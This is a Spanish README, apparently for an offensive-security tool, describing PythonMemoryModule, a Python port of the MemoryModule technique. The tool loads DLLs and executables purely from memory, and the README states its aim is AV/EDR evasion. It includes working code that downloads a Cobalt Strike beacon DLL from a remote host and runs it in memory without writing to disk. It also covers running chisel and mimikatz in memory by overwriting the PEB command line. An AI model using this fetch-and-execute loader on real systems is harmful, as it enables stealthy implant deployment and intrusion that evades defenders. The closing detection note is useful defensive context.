
implementación pura en Python de la técnica MemoryModule para cargar dll y exe no administrado completamente desde la memoria.
Implementación en Python puro de la técnica MemoryModule para cargar una DLL o un ejecutable no administrado completamente desde la memoria
Imagen de "Python memory module" generada por IA - hotpot.ai
PythonMemoryModule es un port a ctypes de Python de la técnica MemoryModule publicada originalmente por Joachim Bauch. Puede cargar una DLL o un ejecutable no administrado usando Python sin necesidad de una librería externa (pyd) y tiene soporte (parcial) para el paso de parámetros de línea de comandos.
Utiliza pefile para analizar los encabezados PE, PythonForWindows para acceder a los parámetros del proceso y ctypes para el trabajo pesado. Originalmente se pensó para usarse como módulo de Pyramid para proporcionar evasión contra AV/EDR cargando payloads DLL/EXE en python.exe completamente desde la memoria, sin embargo, otros casos de uso son posibles (protección de PI, carga de pyds en memoria, derivaciones para otras técnicas más sigilosas), así que decidí crear un repositorio dedicado.
En el siguiente ejemplo, una DLL de beacon sin etapa de Cobalt Strike se descarga (no se guarda en disco), se carga en memoria y se inicia llamando al punto de entrada.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Nota: si usas staging en tu perfil malleable, la DLL no podría cargarse con LoadLibrary, por lo tanto MemoryModule no funcionará.

En el siguiente ejemplo usamos la funcionalidad de paso de parámetros de línea de comandos para ejecutar chisel en memoria.
Esta técnica se ha implementado sobrescribiendo el parámetro CommandLine en el PEB en tiempo de ejecución. No funcionará con todos los ejecutables, ya que depende de qué funciones se usen para pasar argumentos.
En general, para obtener una técnica universalmente funcional sería necesario hookear GetCommandlineA, GetCommandlineW, __getmainargs y __wgetmainargs, ya que la sobrescritura del PEB no cubre todos los casos. Más detalles aquí
Durante mis pruebas encontré que mimikatz y varios binarios Go funcionan solo con la sobrescritura del PEB; por otro lado, el paso de línea de comandos únicamente mediante esta técnica en binarios compilados con mingw y VS probablemente no funcionará.
Usar la técnica MemoryModule respetará en su mayoría los permisos de las secciones de la DLL objetivo y evitará el ruidoso enfoque RWX. Sin embargo, dentro de la memoria del programa habrá una asignación privada no respaldada por una DLL en disco, y esto es una señal reveladora de MemoryModule.